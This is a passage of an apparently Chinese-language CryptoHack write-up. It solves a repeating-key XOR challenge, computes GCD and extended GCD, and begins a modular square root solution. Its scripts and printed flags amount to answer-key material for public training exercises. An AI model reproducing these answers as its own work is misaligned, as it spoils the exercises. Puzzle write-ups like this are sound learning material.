</span></span><span class="line"><span class="ln">5</span><span class="cl">        <span class="nb">print</span><span class="p">(</span><span class="n">string</span><span class="p">)</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">python</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<h3 id="you-either-know-xor-you-dont">You either know, XOR you don&rsquo;t<a class="anchor" href="#you-either-know-xor-you-dont">#</a></h3>
<p>flag格式形如crypto{FLAG}</p>
<p>与密钥异或后得到0e0b213f26041e480b26217f27342e175d0e070a3c5b103e2526217f27342e175d0e077e263451150104</p>
<p>那么这个字符串的前七位字节和最后一个字节与crypto{、}异或就能得到密钥的前七位。最后一位可能不准，因为密钥短的话就循环异或，不一定最后一位就和最后一个字节异或</p>
<p>先计算出来：</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl"><span class="nv">enc_flag</span> <span class="o">=</span> <span class="s1">&#39;0e0b213f26041e480b26217f27342e175d0e070a3c5b103e2526217f27342e175d0e077e263451150104&#39;</span>
</span></span><span class="line"><span class="ln">2</span><span class="cl"><span class="nv">partial_flag</span> <span class="o">=</span> <span class="s1">&#39;crypto{&#39;</span>
</span></span><span class="line"><span class="ln">3</span><span class="cl">
</span></span><span class="line"><span class="ln">4</span><span class="cl"><span class="nv">encflag_ord</span><span class="o">=[</span>o <span class="k">for</span> o in bytes.fromhex<span class="o">(</span>enc_flag<span class="o">)]</span>
</span></span><span class="line"><span class="ln">5</span><span class="cl"><span class="nv">par_ord</span><span class="o">=[</span>o <span class="k">for</span> o in partial_flag.encode<span class="o">()]</span>
</span></span><span class="line"><span class="ln">6</span><span class="cl"><span class="nv">key_start</span><span class="o">=</span><span class="s2">&#34;&#34;</span>.join<span class="o">([</span>chr<span class="o">(</span>a^b<span class="o">)</span> <span class="k">for</span> <span class="o">(</span>a,b<span class="o">)</span> in zip<span class="o">(</span>encflag_ord,par_ord<span class="o">)])</span>
</span></span><span class="line"><span class="ln">7</span><span class="cl"><span class="nv">key_end</span><span class="o">=</span>chr<span class="o">(</span>encflag_ord<span class="o">[</span>-1<span class="o">]</span> ^ ord<span class="o">(</span><span class="s1">&#39;}&#39;</span><span class="o">))</span>
</span></span><span class="line"><span class="ln">8</span><span class="cl">print<span class="o">(</span>key_start<span class="o">)</span>
</span></span><span class="line"><span class="ln">9</span><span class="cl">print<span class="o">(</span>key_end<span class="o">)</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">bash</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>输出myXORke和y，拼在一起有意义：myXORkey</p>
<p>所以认为它是密钥</p>
<p>下面就计算他和异或后的字符串就行</p>
<p>长度不一致，一般是循环使用短序列</p>
<p>这里默认使用pwn库的xor函数</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="ln">1</span><span class="cl"><span class="kn">import</span> <span class="nn">pwn</span>
</span></span><span class="line"><span class="ln">2</span><span class="cl"><span class="n">key</span><span class="o">=</span><span class="s2">&#34;myXORkey&#34;</span>
</span></span><span class="line"><span class="ln">3</span><span class="cl"><span class="n">enc</span><span class="o">=</span><span class="s2">&#34;0e0b213f26041e480b26217f27342e175d0e070a3c5b103e2526217f27342e175d0e077e263451150104&#34;</span>
</span></span><span class="line"><span class="ln">4</span><span class="cl"><span class="n">flag</span><span class="o">=</span><span class="n">pwn</span><span class="o">.</span><span class="n">xor</span><span class="p">(</span><span class="n">key</span><span class="o">.</span><span class="n">encode</span><span class="p">(),</span><span class="nb">bytes</span><span class="o">.</span><span class="n">fromhex</span><span class="p">(</span><span class="n">enc</span><span class="p">))</span><span class="o">.</span><span class="n">decode</span><span class="p">()</span>
</span></span><span class="line"><span class="ln">5</span><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">flag</span><span class="p">)</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">python</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p><code>crypto{1f_y0u_Kn0w_En0uGH_y0u_Kn0w_1t_4ll}</code></p>
<h1 id="modular-arithmetic">Modular Arithmetic<a class="anchor" href="#modular-arithmetic">#</a></h1>
<h3 id="greatest-common-divisor">Greatest Common Divisor<a class="anchor" href="#greatest-common-divisor">#</a></h3>
<p>我自己写的gcd脚本：</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="k">def</span> <span class="nf">gcd</span><span class="p">(</span><span class="n">a</span><span class="p">,</span><span class="n">b</span><span class="p">):</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl">    <span class="n">x</span><span class="o">=</span><span class="nb">max</span><span class="p">(</span><span class="n">a</span><span class="p">,</span><span class="n">b</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 3</span><span class="cl">    <span class="n">y</span><span class="o">=</span><span class="nb">min</span><span class="p">(</span><span class="n">a</span><span class="p">,</span><span class="n">b</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 4</span><span class="cl">    <span class="k">while</span> <span class="n">x</span><span class="o">%</span><span class="n">y</span><span class="o">!=</span><span class="mi">0</span><span class="p">:</span>
</span></span><span class="line"><span class="ln"> 5</span><span class="cl">        <span class="n">a</span><span class="o">=</span><span class="n">y</span>
</span></span><span class="line"><span class="ln"> 6</span><span class="cl">        <span class="n">y</span><span class="o">=</span><span class="p">(</span><span class="n">x</span><span class="o">%</span><span class="n">y</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 7</span><span class="cl">        <span class="n">x</span><span class="o">=</span><span class="n">a</span>
</span></span><span class="line"><span class="ln"> 8</span><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="n">y</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 9</span><span class="cl">
</span></span><span class="line"><span class="ln">10</span><span class="cl"><span class="n">gcd</span><span class="p">(</span><span class="mi">52920</span><span class="p">,</span><span class="mi">66528</span><span class="p">)</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">python</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>DeepSeek优化的：</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="ln">1</span><span class="cl"><span class="k">def</span> <span class="nf">gcd</span><span class="p">(</span><span class="n">a</span><span class="p">,</span> <span class="n">b</span><span class="p">):</span>
</span></span><span class="line"><span class="ln">2</span><span class="cl">    <span class="k">while</span> <span class="n">b</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">3</span><span class="cl">        <span class="n">a</span><span class="p">,</span> <span class="n">b</span> <span class="o">=</span> <span class="n">b</span><span class="p">,</span> <span class="n">a</span> <span class="o">%</span> <span class="n">b</span>
</span></span><span class="line"><span class="ln">4</span><span class="cl">    <span class="k">return</span> <span class="n">a</span>
</span></span><span class="line"><span class="ln">5</span><span class="cl">
</span></span><span class="line"><span class="ln">6</span><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">gcd</span><span class="p">(</span><span class="mi">52920</span><span class="p">,</span> <span class="mi">66528</span><span class="p">))</span>  <span class="c1"># 输出结果：1512</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">python</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>它好聪明</p>
<h3 id="extended-gcd">Extended GCD<a class="anchor" href="#extended-gcd">#</a></h3>
<p>原理知道，但是写不出来脚本</p>
<p><a
  href="https://cryptohack.org/user/GingerCarrot/" rel="nofollow noopener noreferrer" target="_blank"
  >GingerCarrot<span style="user-select:none"> ↗</span></a
>
的脚本，不是很好理解这个脚本，可能我不明白递归，代码能力退化了</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="ln"> 1</span><span class="cl">
</span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="k">def</span> <span class="nf">egcd</span><span class="p">(</span><span class="n">a</span><span class="p">,</span> <span class="n">b</span><span class="p">):</span>
</span></span><span class="line"><span class="ln"> 3</span><span class="cl">    <span class="k">if</span> <span class="n">a</span> <span class="o">==</span> <span class="mi">0</span><span class="p">:</span>
</span></span><span class="line"><span class="ln"> 4</span><span class="cl">        <span class="k">return</span> <span class="n">b</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">1</span>
</span></span><span class="line"><span class="ln"> 5</span><span class="cl">    <span class="k">else</span><span class="p">:</span>
</span></span><span class="line"><span class="ln"> 6</span><span class="cl">        <span class="n">gcd</span><span class="p">,</span> <span class="n">x</span><span class="p">,</span> <span class="n">y</span> <span class="o">=</span> <span class="n">egcd</span><span class="p">(</span><span class="n">b</span> <span class="o">%</span> <span class="n">a</span><span class="p">,</span> <span class="n">a</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 7</span><span class="cl">        <span class="k">return</span> <span class="n">gcd</span><span class="p">,</span> <span class="n">y</span> <span class="o">-</span> <span class="p">(</span><span class="n">b</span> <span class="o">//</span> <span class="n">a</span><span class="p">)</span> <span class="o">*</span> <span class="n">x</span><span class="p">,</span> <span class="n">x</span>
</span></span><span class="line"><span class="ln"> 8</span><span class="cl">
</span></span><span class="line"><span class="ln"> 9</span><span class="cl">
</span></span><span class="line"><span class="ln">10</span><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">egcd</span><span class="p">(</span><span class="mi">26513</span><span class="p">,</span> <span class="mi">32321</span><span class="p">))</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">python</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<h3 id="modular-square-root">Modular Square Root<a class="anchor" href="#modular-square-root">#</a></h3>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="ln">1</span><span class="cl"><span class="n">a</span> <span class="o">=</span> <span class="mi">8479994658316772151941616510097127087554541274812435112009425778595495359700244470400642403747058566807127814165396640215844192327900454116257979487432016769329970767046735091249898678088061634796559556704959846424131820416048436501387617211770124292793308079214153179977624440438616958575058361193975686620046439877308339989295604537867493683872778843921771307305602776398786978353866231661453376056771972069776398999013769588936194859344941268223184197231368887060609212875507518936172060702209557124430477137421847130682601666968691651447236917018634902407704797328509461854842432015009878011354022108661461024768</span>
</span></span><span class="line"><span class="ln">2</span><span class="cl"><span class="n">p</span> <span class="o">=</span> <span class="mi">30531851861994333252675935111487950694414332763909083514133769861350960895076504687261369815735742549428789138300843082086550059082835141454526618160634109969195486322015775943030060449557090064811940139431735209185996454739163555910726493597222646855506445602953689527405362207926990442391705014604777038685880527537489845359101552442292804398472642356609304810680731556542002301547846635101455995732584071355903010856718680732337369128498655255277003643669031694516851390505923416710601212618443109844041514942401969629158975457079026906304328749039997262960301209158175920051890620947063936347307238412281568760161</span>
</span></span><span class="line"><span class="ln">3</span><span class="cl"><span class="n">Mod</span><span class="p">(</span><span class="n">a</span><span class="p">,</span><span class="n">p</span><span class="p">)</span><span class="o">.</span><span class="n">sqrt</span><span class="p">()</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">python</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
